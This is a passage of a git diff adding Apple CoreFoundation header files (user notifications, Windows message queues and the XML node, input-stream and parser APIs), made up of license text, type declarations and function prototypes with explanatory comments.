@APPLE_LICENSE_HEADER_END@ + */ +/* + * CFUnicodePrecomposition.h + * CoreFoundation + * + * Created by aki on Wed Oct 03 2001. + * Copyright (c) 2001-2007, Apple Inc. All rights reserved. + * + */ + +#if !defined(__COREFOUNDATION_CFUNICODEPRECOMPOSITION__) +#define __COREFOUNDATION_CFUNICODEPRECOMPOSITION__ 1 + +#include + +CF_EXTERN_C_BEGIN + +// As you can see, this function cannot precompose Hangul Jamo +CF_EXPORT UTF32Char CFUniCharPrecomposeCharacter(UTF32Char base, UTF32Char combining); + +CF_EXPORT bool CFUniCharPrecompose(const UTF16Char *characters, CFIndex length, CFIndex *consumedLength, UTF16Char *precomposed, CFIndex maxLength, CFIndex *filledLength); + +CF_EXTERN_C_END + +#endif /* ! __COREFOUNDATION_CFUNICODEPRECOMPOSITION__ */ + diff --git a/winstuff/CoreFoundation/CFUserNotification.h b/winstuff/CoreFoundation/CFUserNotification.h new file mode 100644 index 0000000..e3a8d55 --- /dev/null +++ b/winstuff/CoreFoundation/CFUserNotification.h @@ -0,0 +1,196 @@ +/* + * Copyright (c) 2008 Apple Inc. All rights reserved. + * + * @APPLE_LICENSE_HEADER_START@ + * + * This file contains Original Code and/or Modifications of Original Code + * as defined in and that are subject to the Apple Public Source License + * Version 2.0 (the 'License'). You may not use this file except in + * compliance with the License. Please obtain a copy of the License at + * http://www.opensource.apple.com/apsl/ and read it before using this + * file. + * + * The Original Code and all software distributed under the License are + * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER + * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, + * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. + * Please see the License for the specific language governing rights and + * limitations under the License. + * + * @APPLE_LICENSE_HEADER_END@ + */ +/* CFUserNotification.h + Copyright (c) 2000-2007, Apple Inc. All rights reserved. +*/ + +#if !defined(__COREFOUNDATION_CFUSERNOTIFICATION__) +#define __COREFOUNDATION_CFUSERNOTIFICATION__ 1 + +#include +#include +#include +#include +#include +#include + +CF_EXTERN_C_BEGIN + +typedef struct __CFUserNotification * CFUserNotificationRef; + +/* A CFUserNotification is a notification intended to be presented to a +user at the console (if one is present). This is for the use of processes +that do not otherwise have user interfaces, but may need occasional +interaction with a user. There is a parallel API for this functionality +at the System framework level, described in UNCUserNotification.h. + +The contents of the notification can include a header, a message, textfields, +a popup button, radio buttons or checkboxes, a progress indicator, and up to +three ordinary buttons. All of these items are optional, but a default +button will be supplied even if not specified unless the +kCFUserNotificationNoDefaultButtonFlag is set. + +The contents of the notification are specified in the dictionary used to +create the notification, whose keys should be taken from the list of constants +below, and whose values should be either strings or arrays of strings +(except for kCFUserNotificationProgressIndicatorValueKey, in which case the +value should be a number between 0 and 1, for a "definite" progress indicator, +or a boolean, for an "indefinite" progress indicator). Additionally, URLs can +optionally be supplied for an icon, a sound, and a bundle whose Localizable.strings +files will be used to localize strings. + +Certain request flags are specified when a notification is created. +These specify an alert level for the notification, determine whether +radio buttons or check boxes are to be used, specify which if any of these +are checked by default, specify whether any of the textfields are to +be secure textfields, and determine which popup item should be selected +by default. A timeout is also specified, which determines how long the +notification should be supplied to the user (if zero, it will not timeout). + +A CFUserNotification is dispatched for presentation when it is created. +If any reply is required, it may be awaited in one of two ways: either +synchronously, using CFUserNotificationReceiveResponse, or asynchronously, +using a run loop source. CFUserNotificationReceiveResponse has a timeout +parameter that determines how long it will block (zero meaning indefinitely) +and it may be called as many times as necessary until a response arrives. +If a notification has not yet received a response, it may be updated with +new information, or it may be cancelled. Notifications may not be reused. + +When a response arrives, it carries with it response flags that describe +which button was used to dismiss the notification, which checkboxes or +radio buttons were checked, and what the selection of the popup was. +It also carries a response dictionary, which describes the contents +of the textfields. */ + +typedef void (*CFUserNotificationCallBack)(CFUserNotificationRef userNotification, CFOptionFlags responseFlags); + +CF_EXPORT +CFTypeID CFUserNotificationGetTypeID(void); + +CF_EXPORT +CFUserNotificationRef CFUserNotificationCreate(CFAllocatorRef allocator, CFTimeInterval timeout, CFOptionFlags flags, SInt32 *error, CFDictionaryRef dictionary); + +CF_EXPORT +SInt32 CFUserNotificationReceiveResponse(CFUserNotificationRef userNotification, CFTimeInterval timeout, CFOptionFlags *responseFlags); + +CF_EXPORT +CFStringRef CFUserNotificationGetResponseValue(CFUserNotificationRef userNotification, CFStringRef key, CFIndex idx); + +CF_EXPORT +CFDictionaryRef CFUserNotificationGetResponseDictionary(CFUserNotificationRef userNotification); + +CF_EXPORT +SInt32 CFUserNotificationUpdate(CFUserNotificationRef userNotification, CFTimeInterval timeout, CFOptionFlags flags, CFDictionaryRef dictionary); + +CF_EXPORT +SInt32 CFUserNotificationCancel(CFUserNotificationRef userNotification); + +CF_EXPORT +CFRunLoopSourceRef CFUserNotificationCreateRunLoopSource(CFAllocatorRef allocator, CFUserNotificationRef userNotification, CFUserNotificationCallBack callout, CFIndex order); + +/* Convenience functions for handling the simplest and most common cases: +a one-way notification, and a notification with up to three buttons. */ + +CF_EXPORT +SInt32 CFUserNotificationDisplayNotice(CFTimeInterval timeout, CFOptionFlags flags, CFURLRef iconURL, CFURLRef soundURL, CFURLRef localizationURL, CFStringRef alertHeader, CFStringRef alertMessage, CFStringRef defaultButtonTitle); + +CF_EXPORT +SInt32 CFUserNotificationDisplayAlert(CFTimeInterval timeout, CFOptionFlags flags, CFURLRef iconURL, CFURLRef soundURL, CFURLRef localizationURL, CFStringRef alertHeader, CFStringRef alertMessage, CFStringRef defaultButtonTitle, CFStringRef alternateButtonTitle, CFStringRef otherButtonTitle, CFOptionFlags *responseFlags); + + +/* Flags */ + +enum { + kCFUserNotificationStopAlertLevel = 0, + kCFUserNotificationNoteAlertLevel = 1, + kCFUserNotificationCautionAlertLevel = 2, + kCFUserNotificationPlainAlertLevel = 3 +}; + +enum { + kCFUserNotificationDefaultResponse = 0, + kCFUserNotificationAlternateResponse = 1, + kCFUserNotificationOtherResponse = 2, + kCFUserNotificationCancelResponse = 3 +}; + +enum { + kCFUserNotificationNoDefaultButtonFlag = (1 << 5), + kCFUserNotificationUseRadioButtonsFlag = (1 << 6) +}; + +CF_INLINE CFOptionFlags CFUserNotificationCheckBoxChecked(CFIndex i) {return ((CFOptionFlags)(1 << (8 + i)));} +CF_INLINE CFOptionFlags CFUserNotificationSecureTextField(CFIndex i) {return ((CFOptionFlags)(1 << (16 + i)));} +CF_INLINE CFOptionFlags CFUserNotificationPopUpSelection(CFIndex n) {return ((CFOptionFlags)(n << 24));} + + +/* Keys */ + +CF_EXPORT +const CFStringRef kCFUserNotificationIconURLKey; + +CF_EXPORT +const CFStringRef kCFUserNotificationSoundURLKey; + +CF_EXPORT +const CFStringRef kCFUserNotificationLocalizationURLKey; + +CF_EXPORT +const CFStringRef kCFUserNotificationAlertHeaderKey; + +CF_EXPORT +const CFStringRef kCFUserNotificationAlertMessageKey; + +CF_EXPORT +const CFStringRef kCFUserNotificationDefaultButtonTitleKey; + +CF_EXPORT +const CFStringRef kCFUserNotificationAlternateButtonTitleKey; + +CF_EXPORT +const CFStringRef kCFUserNotificationOtherButtonTitleKey; + +CF_EXPORT +const CFStringRef kCFUserNotificationProgressIndicatorValueKey; + +CF_EXPORT +const CFStringRef kCFUserNotificationPopUpTitlesKey; + +CF_EXPORT +const CFStringRef kCFUserNotificationTextFieldTitlesKey; + +CF_EXPORT +const CFStringRef kCFUserNotificationCheckBoxTitlesKey; + +CF_EXPORT +const CFStringRef kCFUserNotificationTextFieldValuesKey; + +#if MAC_OS_X_VERSION_10_3 <= MAC_OS_X_VERSION_MAX_ALLOWED +CF_EXPORT +const CFStringRef kCFUserNotificationPopUpSelectionKey AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; +#endif + +CF_EXTERN_C_END + +#endif /* ! __COREFOUNDATION_CFUSERNOTIFICATION__ */ + diff --git a/winstuff/CoreFoundation/CFWindowsMessageQueue.h b/winstuff/CoreFoundation/CFWindowsMessageQueue.h new file mode 100644 index 0000000..d0c2e08 --- /dev/null +++ b/winstuff/CoreFoundation/CFWindowsMessageQueue.h @@ -0,0 +1,56 @@ +/* + * Copyright (c) 2008 Apple Inc. All rights reserved. + * + * @APPLE_LICENSE_HEADER_START@ + * + * This file contains Original Code and/or Modifications of Original Code + * as defined in and that are subject to the Apple Public Source License + * Version 2.0 (the 'License'). You may not use this file except in + * compliance with the License. Please obtain a copy of the License at + * http://www.opensource.apple.com/apsl/ and read it before using this + * file. + * + * The Original Code and all software distributed under the License are + * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER + * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, + * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. + * Please see the License for the specific language governing rights and + * limitations under the License. + * + * @APPLE_LICENSE_HEADER_END@ + */ +/* CFWindowsMessageQueue.h + Copyright (c) 1999-2007, Apple Inc. All rights reserved. +*/ + +#if !defined(__COREFOUNDATION_CFWINDOWSMESSAGEQUEUE__) +#define __COREFOUNDATION_CFWINDOWSMESSAGEQUEUE__ 1 + +#if defined(__WIN32__) + +#include +#include +#include + + +CF_EXTERN_C_BEGIN + +typedef struct __CFWindowsMessageQueue * CFWindowsMessageQueueRef; + +CF_EXPORT CFTypeID CFWindowsMessageQueueGetTypeID(void); + +CF_EXPORT CFWindowsMessageQueueRef CFWindowsMessageQueueCreate(CFAllocatorRef allocator, DWORD mask); + +CF_EXPORT DWORD CFWindowsMessageQueueGetMask(CFWindowsMessageQueueRef wmq); +CF_EXPORT void CFWindowsMessageQueueInvalidate(CFWindowsMessageQueueRef wmq); +CF_EXPORT Boolean CFWindowsMessageQueueIsValid(CFWindowsMessageQueueRef wmq); + +CF_EXPORT CFRunLoopSourceRef CFWindowsMessageQueueCreateRunLoopSource(CFAllocatorRef allocator, CFWindowsMessageQueueRef wmq, CFIndex order); + +CF_EXTERN_C_END + +#endif /* __WIN32__ */ + +#endif /* ! __COREFOUNDATION_CFWINDOWSMESSAGEQUEUE__ */ + diff --git a/winstuff/CoreFoundation/CFXMLInputStream.h b/winstuff/CoreFoundation/CFXMLInputStream.h new file mode 100644 index 0000000..b18b70c --- /dev/null +++ b/winstuff/CoreFoundation/CFXMLInputStream.h @@ -0,0 +1,108 @@ +/* + * Copyright (c) 2008 Apple Inc. All rights reserved. + * + * @APPLE_LICENSE_HEADER_START@ + * + * This file contains Original Code and/or Modifications of Original Code + * as defined in and that are subject to the Apple Public Source License + * Version 2.0 (the 'License'). You may not use this file except in + * compliance with the License. Please obtain a copy of the License at + * http://www.opensource.apple.com/apsl/ and read it before using this + * file. + * + * The Original Code and all software distributed under the License are + * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER + * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, + * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. + * Please see the License for the specific language governing rights and + * limitations under the License. + * + * @APPLE_LICENSE_HEADER_END@ + */ +/* CFXMLInputStream.h + Copyright (c) 2000-2007, Apple Inc. All rights reserved. +*/ + +#if !defined(__COREFOUNDATION_CFXMLINPUTSTREAM__) +#define __COREFOUNDATION_CFXMLINPUTSTREAM__ 1 + +#include +#include "CFInternal.h" +#include +#include +#include + +struct __CFXMLNode { + // additionalData currently always points off the bottom of this struct; we could just eliminate it. Also, we may want to add a flags/version argument, and could use it to mark whether the node was the special one that CFXMLParser mucks with, as well as whether the allocator was "special" (could save us the alloc instance variable, below) -- REW, 3/8/2000 + CFRuntimeBase _cfBase; + CFIndex version; + CFXMLNodeTypeCode dataTypeID; + CFStringRef dataString; + void *additionalData; +}; + +struct __CFXMLInputStream { + CFDataRef data; // The XML data + CFURLRef url; // the source URL for the data + CFStringEncoding encoding; // the data's encoding + const UInt8 *currentByte; // pointer into data at the first byte not yet translated to a character + + UniChar *charBuffer; // the buffer of characters translated from data + UniChar *currentChar; // pointer into charBuffer at the current stream location. MUST be NULL if there are no more characters in charBuffer to consume. + UniChar *mark; // The point at which the mark was dropped. NULL if the mark is currently unset. + UniChar *parserMark; // mark available only for the parser's use + CFIndex bufferLength; // The number of meaningful characters in charBuffer + CFIndex bufferCapacity; // The current maximum capacity of charBuffer in UniChars + + CFIndex charIndex, lineNum; // location in the file + UInt32 flags; // See #defines below for bit flag meanings + CFMutableSetRef nameSet; // set of all names we've encountered; used for uniquing + CFMutableStringRef tempString; + + CFAllocatorRef allocator; // This is unfortunate; this is always the same as the parser's allocator. We'd like to get rid of it at some point, but that would mean adding an allocator to all the function calls, which means risking that the allocator passed in gets out-of-sync. Maybe once we have CFStreams, we can encapsulate it all in that. REW, 5/22/2000 +}; + +// whether the stream has been opened for reading +#define STREAM_OPEN 0x1 +// whether the encoding matches ASCII over 0x0-0x7F +#define ENCODING_MATCHES_ASCII 0x2 +// whether the encoding is Unicode with the "natural" byte ordering +#define ENCODING_IS_UNICODE_NATURAL 0x4 +// whether the encoding is Unicode with the bytes swapped +#define ENCODING_IS_UNICODE_SWAPPED 0x8 +// whether the stream has encountered an error in encodings. +#define ENCODING_COMPOSITION_ERROR 0x10 + +typedef struct __CFXMLInputStream _CFXMLInputStream; + +void _initializeInputStream(_CFXMLInputStream *stream, CFAllocatorRef alloc, CFURLRef dataSource, CFDataRef xmlData); +Boolean _openInputStream(_CFXMLInputStream *stream); // None of the subsequent calls will work until the input stream has been opened +void _freeInputStream(_CFXMLInputStream *stream); + +CFStringEncoding _inputStreamGetEncoding(_CFXMLInputStream *stream); +CFIndex _inputStreamCurrentLocation(_CFXMLInputStream *stream); +CFIndex _inputStreamCurrentLine(_CFXMLInputStream *stream); +Boolean _inputStreamAtEOF(_CFXMLInputStream *stream); +Boolean _inputStreamComposingErrorOccurred(_CFXMLInputStream *stream); + +Boolean _inputStreamPeekCharacter(_CFXMLInputStream *stream, UniChar *ch); +Boolean _inputStreamGetCharacter(_CFXMLInputStream *stream, UniChar *ch); +Boolean _inputStreamReturnCharacter(_CFXMLInputStream *stream, UniChar ch); +void _inputStreamSetMark(_CFXMLInputStream *stream); +void _inputStreamClearMark(_CFXMLInputStream *stream); +void _inputStreamGetCharactersFromMark(_CFXMLInputStream *stream, CFMutableStringRef string); +void _inputStreamBackUpToMark(_CFXMLInputStream *stream); +void _inputStringInitialize(_CFXMLInputStream *stream, UniChar *characters, CFIndex length); +CFIndex _inputStreamSkipWhitespace(_CFXMLInputStream *stream, CFMutableStringRef str); +Boolean _inputStreamScanToCharacters(_CFXMLInputStream *stream, const UniChar *scanChars, CFIndex numChars, CFMutableStringRef str); +Boolean _inputStreamMatchString(_CFXMLInputStream *stream, const UniChar *stringToMatch, CFIndex length); +Boolean _inputStreamScanQuotedString(_CFXMLInputStream *stream, CFMutableStringRef str); +Boolean _inputStreamScanXMLName(_CFXMLInputStream *stream, Boolean isNMToken, CFStringRef *str); + +/* Returns the character index within the current line of the current parse location */ +/* To add someday -- CF_EXPORT +CFIndex CFXMLParserGetOffsetInCurrentLine(CFXMLParserRef parser); */ + +#endif /* ! __COREFOUNDATION_CFXMLINPUTSTREAM__ */ + diff --git a/winstuff/CoreFoundation/CFXMLNode.h b/winstuff/CoreFoundation/CFXMLNode.h new file mode 100644 index 0000000..d927a58 --- /dev/null +++ b/winstuff/CoreFoundation/CFXMLNode.h @@ -0,0 +1,207 @@ +/* + * Copyright (c) 2008 Apple Inc. All rights reserved. + * + * @APPLE_LICENSE_HEADER_START@ + * + * This file contains Original Code and/or Modifications of Original Code + * as defined in and that are subject to the Apple Public Source License + * Version 2.0 (the 'License'). You may not use this file except in + * compliance with the License. Please obtain a copy of the License at + * http://www.opensource.apple.com/apsl/ and read it before using this + * file. + * + * The Original Code and all software distributed under the License are + * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER + * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, + * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. + * Please see the License for the specific language governing rights and + * limitations under the License. + * + * @APPLE_LICENSE_HEADER_END@ + */ +/* CFXMLNode.h + Copyright (c) 1998-2007, Apple Inc. All rights reserved. +*/ + +#if !defined(__COREFOUNDATION_CFXMLNODE__) +#define __COREFOUNDATION_CFXMLNODE__ 1 + +#include +#include +#include +#include +#include + +CF_EXTERN_C_BEGIN + +enum { + kCFXMLNodeCurrentVersion = 1 +}; + +typedef const struct __CFXMLNode * CFXMLNodeRef; +typedef CFTreeRef CFXMLTreeRef; + +/* An CFXMLNode describes an individual XML construct - like a tag, or a comment, or a string + of character data. Each CFXMLNode contains 3 main pieces of information - the node's type, + the data string, and a pointer to an additional data structure. The node's type ID is an enum + value of type CFXMLNodeTypeID. The data string is always a CFStringRef; the meaning of the + string is dependent on the node's type ID. The format of the additional data is also dependent + on the node's type; in general, there is a custom structure for each type that requires + additional data. See below for the mapping from type ID to meaning of the data string and + structure of the additional data. Note that these structures are versioned, and may change + as the parser changes. The current version can always be identified by kCFXMLNodeCurrentVersion; + earlier versions can be identified and used by passing earlier values for the version number + (although the older structures would have been removed from the header). + + An CFXMLTree is simply a CFTree whose context data is known to be an CFXMLNodeRef. As + such, an CFXMLTree can be used to represent an entire XML document; the CFTree + provides the tree structure of the document, while the CFXMLNodes identify and describe + the nodes of the tree. An XML document can be parsed to a CFXMLTree, and a CFXMLTree + can generate the data for the equivalent XML document - see CFXMLParser.h for more + information on parsing XML. + */ + +/* Type codes for the different possible XML nodes; this list may grow.*/ +enum { + kCFXMLNodeTypeDocument = 1, + kCFXMLNodeTypeElement = 2, + kCFXMLNodeTypeAttribute = 3, + kCFXMLNodeTypeProcessingInstruction = 4, + kCFXMLNodeTypeComment = 5, + kCFXMLNodeTypeText = 6, + kCFXMLNodeTypeCDATASection = 7, + kCFXMLNodeTypeDocumentFragment = 8, + kCFXMLNodeTypeEntity = 9, + kCFXMLNodeTypeEntityReference = 10, + kCFXMLNodeTypeDocumentType = 11, + kCFXMLNodeTypeWhitespace = 12, + kCFXMLNodeTypeNotation = 13, + kCFXMLNodeTypeElementTypeDeclaration = 14, + kCFXMLNodeTypeAttributeListDeclaration = 15 +}; +typedef CFIndex CFXMLNodeTypeCode; + +typedef struct { + CFDictionaryRef attributes; + CFArrayRef attributeOrder; + Boolean isEmpty; + char _reserved[3]; +} CFXMLElementInfo; + +typedef struct { + CFStringRef dataString; +} CFXMLProcessingInstructionInfo; + +typedef struct { + CFURLRef sourceURL; + CFStringEncoding encoding; +} CFXMLDocumentInfo; + +typedef struct { + CFURLRef systemID; + CFStringRef publicID; +} CFXMLExternalID; + +typedef struct { + CFXMLExternalID externalID; +} CFXMLDocumentTypeInfo; + +typedef struct { + CFXMLExternalID externalID; +} CFXMLNotationInfo; + +typedef struct { + /* This is expected to change in future versions */ + CFStringRef contentDescription; +} CFXMLElementTypeDeclarationInfo; + +typedef struct { + /* This is expected to change in future versions */ + CFStringRef attributeName; + CFStringRef typeString; + CFStringRef defaultString; +} CFXMLAttributeDeclarationInfo; + +typedef struct { + CFIndex numberOfAttributes; + CFXMLAttributeDeclarationInfo *attributes; +} CFXMLAttributeListDeclarationInfo; + +enum { + kCFXMLEntityTypeParameter, /* Implies parsed, internal */ + kCFXMLEntityTypeParsedInternal, + kCFXMLEntityTypeParsedExternal, + kCFXMLEntityTypeUnparsed, + kCFXMLEntityTypeCharacter +}; +typedef CFIndex CFXMLEntityTypeCode; + +typedef struct { + CFXMLEntityTypeCode entityType; + CFStringRef replacementText; /* NULL if entityType is external or unparsed */ + CFXMLExternalID entityID; /* entityID.systemID will be NULL if entityType is internal */ + CFStringRef notationName; /* NULL if entityType is parsed */ +} CFXMLEntityInfo; + +typedef struct { + CFXMLEntityTypeCode entityType; +} CFXMLEntityReferenceInfo; + +/* + dataTypeCode meaning of dataString format of infoPtr + =========== ===================== ================= + kCFXMLNodeTypeDocument CFXMLDocumentInfo * + kCFXMLNodeTypeElement tag name CFXMLElementInfo * + kCFXMLNodeTypeAttribute + kCFXMLNodeTypeProcessingInstruction name of the target CFXMLProcessingInstructionInfo * + kCFXMLNodeTypeComment text of the comment NULL + kCFXMLNodeTypeText the text's contents NULL + kCFXMLNodeTypeCDATASection text of the CDATA NULL + kCFXMLNodeTypeDocumentFragment + kCFXMLNodeTypeEntity name of the entity CFXMLEntityInfo * + kCFXMLNodeTypeEntityReference name of the referenced entity CFXMLEntityReferenceInfo * + kCFXMLNodeTypeDocumentType name given as top-level element CFXMLDocumentTypeInfo * + kCFXMLNodeTypeWhitespace text of the whitespace NULL + kCFXMLNodeTypeNotation notation name CFXMLNotationInfo * + kCFXMLNodeTypeElementTypeDeclaration tag name CFXMLElementTypeDeclarationInfo * + kCFXMLNodeTypeAttributeListDeclaration tag name CFXMLAttributeListDeclarationInfo * +*/ + +CF_EXPORT +CFTypeID CFXMLNodeGetTypeID(void); + +/* Creates a new node based on xmlType, dataString, and additionalInfoPtr. version (together with xmlType) determines the expected structure of additionalInfoPtr */ +CF_EXPORT +CFXMLNodeRef CFXMLNodeCreate(CFAllocatorRef alloc, CFXMLNodeTypeCode xmlType, CFStringRef dataString, const void *additionalInfoPtr, CFIndex version); + +/* Creates a copy of origNode (which may not be NULL). */ +CF_EXPORT +CFXMLNodeRef CFXMLNodeCreateCopy(CFAllocatorRef alloc, CFXMLNodeRef origNode); + +CF_EXPORT +CFXMLNodeTypeCode CFXMLNodeGetTypeCode(CFXMLNodeRef node); + +CF_EXPORT +CFStringRef CFXMLNodeGetString(CFXMLNodeRef node); + +CF_EXPORT +const void *CFXMLNodeGetInfoPtr(CFXMLNodeRef node); + +CF_EXPORT +CFIndex CFXMLNodeGetVersion(CFXMLNodeRef node); + +/* CFXMLTreeRef */ + +/* Creates a childless, parentless tree from node */ +CF_EXPORT +CFXMLTreeRef CFXMLTreeCreateWithNode(CFAllocatorRef allocator, CFXMLNodeRef node); + +/* Extracts and returns the node stored in xmlTree */ +CF_EXPORT +CFXMLNodeRef CFXMLTreeGetNode(CFXMLTreeRef xmlTree); + +CF_EXTERN_C_END + +#endif /* ! __COREFOUNDATION_CFXMLNODE__ */ + diff --git a/winstuff/CoreFoundation/CFXMLParser.h b/winstuff/CoreFoundation/CFXMLParser.h new file mode 100644 index 0000000..6f494ba --- /dev/null +++ b/winstuff/CoreFoundation/CFXMLParser.h @@ -0,0 +1,291 @@ +/* + * Copyright (c) 2008 Apple Inc. All rights reserved. + * + * @APPLE_LICENSE_HEADER_START@ + * + * This file contains Original Code and/or Modifications of Original Code + * as defined in and that are subject to the Apple Public Source License + * Version 2.0 (the 'License'). You may not use this file except in + * compliance with the License. Please obtain a copy of the License at + * http://www.opensource.apple.com/apsl/ and read it before using this + * file. + * + * The Original Code and all software distributed under the License are + * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER + * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, + * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. + * Please see the License for the specific language governing rights and + * limitations under the License. + * + * @APPLE_LICENSE_HEADER_END@ + */ +/* CFXMLParser.h + Copyright (c) 1998-2007, Apple Inc. All rights reserved. +*/ + +#if !defined(__COREFOUNDATION_CFXMLPARSER__) +#define __COREFOUNDATION_CFXMLPARSER__ 1 + +#include +#include +#include +#include +#include +#include +#include + +CF_EXTERN_C_BEGIN + +typedef struct __CFXMLParser * CFXMLParserRef; + +/* These are the various options you can configure the parser with. These are + chosen such that an option flag of 0 (kCFXMLParserNoOptions) leaves the XML + as "intact" as possible (reports all structures; performs no replacements). + Hence, to make the parser do the most work, returning only the pure element + tree, set the option flag to kCFXMLParserAllOptions. + +kCFXMLParserValidateDocument - + validate the document against its grammar from the DTD, reporting any errors. + Currently not supported. + +kCFXMLParserSkipMetaData - + silently skip over metadata constructs (the DTD and comments) + +kCFXMLParserReplacePhysicalEntities - + replace declared entities like <. Note that other than the 5 predefined + entities (lt, gt, quot, amp, apos), these must be defined in the DTD. + Currently not supported. + +kCFXMLParserSkipWhitespace - + skip over all whitespace that does not abut non-whitespace character data. + In other words, given blah , the whitespace between + foo's open tag and bar's open tag would be suppressed, but the whitespace + around blah would be preserved. + +kCFXMLParserAddImpliedAttributes - + where the DTD specifies implied attribute-value pairs for a particular element, + add those pairs to any occurances of the element in the element tree. + Currently not supported. +*/ + +enum { + kCFXMLParserValidateDocument = (1 << 0), + kCFXMLParserSkipMetaData = (1 << 1), + kCFXMLParserReplacePhysicalEntities = (1 << 2), + kCFXMLParserSkipWhitespace = (1 << 3), + kCFXMLParserResolveExternalEntities = (1 << 4), + kCFXMLParserAddImpliedAttributes = (1 << 5), + kCFXMLParserAllOptions = 0x00FFFFFF, + kCFXMLParserNoOptions = 0 +}; +typedef CFOptionFlags CFXMLParserOptions; + +/* This list is expected to grow */ +enum { + kCFXMLStatusParseNotBegun = -2, + kCFXMLStatusParseInProgress = -1, + kCFXMLStatusParseSuccessful = 0, + kCFXMLErrorUnexpectedEOF = 1, + kCFXMLErrorUnknownEncoding, + kCFXMLErrorEncodingConversionFailure, + kCFXMLErrorMalformedProcessingInstruction, + kCFXMLErrorMalformedDTD, + kCFXMLErrorMalformedName, + kCFXMLErrorMalformedCDSect, + kCFXMLErrorMalformedCloseTag, + kCFXMLErrorMalformedStartTag, + kCFXMLErrorMalformedDocument, + kCFXMLErrorElementlessDocument, + kCFXMLErrorMalformedComment, + kCFXMLErrorMalformedCharacterReference, + kCFXMLErrorMalformedParsedCharacterData, + kCFXMLErrorNoData +}; +typedef CFIndex CFXMLParserStatusCode; + + +/* These functions are called as a parse progresses. + +createXMLStructure - + called as new XML structures are encountered by the parser. May return NULL to indicate + that the given structure should be skipped; if NULL is returned for a given structure, + only minimal parsing is done for that structure (enough to correctly determine its end, + and to extract any data necessary for the remainder of the parse, such as Entity definitions). + createXMLStructure (or indeed, any of the tree-creation callbacks) will not be called for any + children of the skipped structure. The only exception is that the top-most element will always + be reported even if NULL was returned for the document as a whole. NOTE: for performance reasons, + the node passed to createXMLStructure cannot be safely retained by the client; the node as + a whole must be copied (via CFXMLNodeCreateCopy), or its contents must be extracted and copied. + +addChild - + called as children are parsed and are ready to be added to the tree. If createXMLStructure + returns NULL for a given structure, that structure is omitted entirely, and addChild will + NOT be called for either a NULL child or parent. + +endXMLStructure - + called once a structure (and all its children) are completely parsed. As elements are encountered, + createXMLStructure is called for them first, then addChild to add the new structure to its parent, + then addChild (potentially several times) to add the new structure's children to it, then finally + endXMLStructure to show that the structure has been fully parsed. + +createXMLStructure, addChild, and endXMLStructure are all REQUIRED TO BE NON-NULL. + +resolveExternalEntity - + called when external entities are referenced (NOT when they are simply defined). If the function + pointer is NULL, the parser uses its internal routines to try and resolve the entity. If the + function pointer is set, and the function returns NULL, a place holder for the external entity + is inserted into the tree. In this manner, the parser's client can prevent any external network + or file accesses. + +handleError - called as errors/warnings are encountered in the data stream. At some point, we will + have an enum of the expected errors, some of which will be fatal, others of which will not. If + the function pointer is NULL, the parser will silently attempt to recover. The + handleError function may always return false to force the parser to stop; if handleError returns + true, the parser will attempt to recover (fatal errors will still cause the parse to abort + immediately). +*/ + +typedef void * (*CFXMLParserCreateXMLStructureCallBack)(CFXMLParserRef parser, CFXMLNodeRef nodeDesc, void *info); +typedef void (*CFXMLParserAddChildCallBack)(CFXMLParserRef parser, void *parent, void *child, void *info); +typedef void (*CFXMLParserEndXMLStructureCallBack)(CFXMLParserRef parser, void *xmlType, void *info); +typedef CFDataRef (*CFXMLParserResolveExternalEntityCallBack)(CFXMLParserRef parser, CFXMLExternalID *extID, void *info); +typedef Boolean (*CFXMLParserHandleErrorCallBack)(CFXMLParserRef parser, CFXMLParserStatusCode error, void *info); +typedef struct { + CFIndex version; + CFXMLParserCreateXMLStructureCallBack createXMLStructure; + CFXMLParserAddChildCallBack addChild; + CFXMLParserEndXMLStructureCallBack endXMLStructure; + CFXMLParserResolveExternalEntityCallBack resolveExternalEntity; + CFXMLParserHandleErrorCallBack handleError; +} CFXMLParserCallBacks; + +typedef const void * (*CFXMLParserRetainCallBack)(const void *info); +typedef void (*CFXMLParserReleaseCallBack)(const void *info); +typedef CFStringRef (*CFXMLParserCopyDescriptionCallBack)(const void *info); +typedef struct { + CFIndex version; + void * info; + CFXMLParserRetainCallBack retain; + CFXMLParserReleaseCallBack release; + CFXMLParserCopyDescriptionCallBack copyDescription; +} CFXMLParserContext; + +CF_EXPORT +CFTypeID CFXMLParserGetTypeID(void); + +/* Creates a parser which will parse the given data with the given options. xmlData may not be NULL. + dataSource should be the URL from which the data came, and may be NULL; it is used to resolve any + relative references found in xmlData. versionOfNodes determines which version CFXMLNodes are produced + by the parser; see CFXMLNode.h for more details. callBacks are the callbacks called by the parser as + the parse progresses; callBacks, callBacks->createXMLStructure, callBacks->addChild, and + callBacks->endXMLStructure must all be non-NULL. context determines what if any info pointer is + passed to the callbacks as the parse progresses; context may be NULL. */ +CF_EXPORT +CFXMLParserRef CFXMLParserCreate(CFAllocatorRef allocator, 